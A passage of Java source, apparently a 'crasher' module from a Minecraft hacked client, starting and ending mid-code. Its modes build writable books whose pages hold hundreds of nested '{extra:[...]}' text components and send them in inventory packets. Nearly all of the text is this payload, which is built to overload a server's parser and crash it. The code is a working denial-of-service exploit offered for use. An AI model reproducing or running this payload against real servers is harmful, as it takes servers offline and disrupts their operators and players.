[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}\"));\n                    }\n\n                    comp.setString(\"author\", RandomStringUtils.random(16, \"0123456789\"));\n                    comp.setString(\"title\", RandomStringUtils.random(16, \"0123456789\"));\n                    comp.setByte(\"resolved\", (byte) 1);\n                    comp.setTag(\"pages\", list);\n                    final ItemStack stack = new ItemStack(Items.writable_book);\n                    stack.setTagCompound(comp);\n                    final PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());\n                    buffer.writeItemStackToBuffer(stack);\n                    PacketUtil.sendPacket(new C0EPacketClickWindow(0, 0, 0, 1, stack, (short) 0));\n                }\n                break;\n            }\n\n            case \"Window\": {\n                final NBTTagCompound tag = new NBTTagCompound();\n                final NBTTagList list = new NBTTagList();\n\n                for (int i = 0; i < 2; i++) {\n                    list.appendTag(new NBTTagString(\"{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}\"));\n                }\n\n                tag.setString(\"author\", RandomStringUtils.random(16, \"0123456789\"));\n                tag.setString(\"title\", RandomStringUtils.random(16, \"0123456789\"));\n                tag.setByte(\"resolved\", (byte) 1);\n                tag.setTag(\"pages\", list);\n                final ItemStack book = new ItemStack(Items.writable_book);\n                book.setTagCompound(tag);\n                PacketUtil.sendPacket(new C10PacketCreativeInventoryAction(0, book));\n                break;\n            }\n\n            case \"BEdit\": {\n                for (int c = 0; c < 30; c++) {\n                    final NBTTagCompound comp = new NBTTagCompound();\n                    final NBTTagList list = new NBTTagList();\n\n                    for (int i = 0; i < 2; i++) {\n                        list.appendTag(new 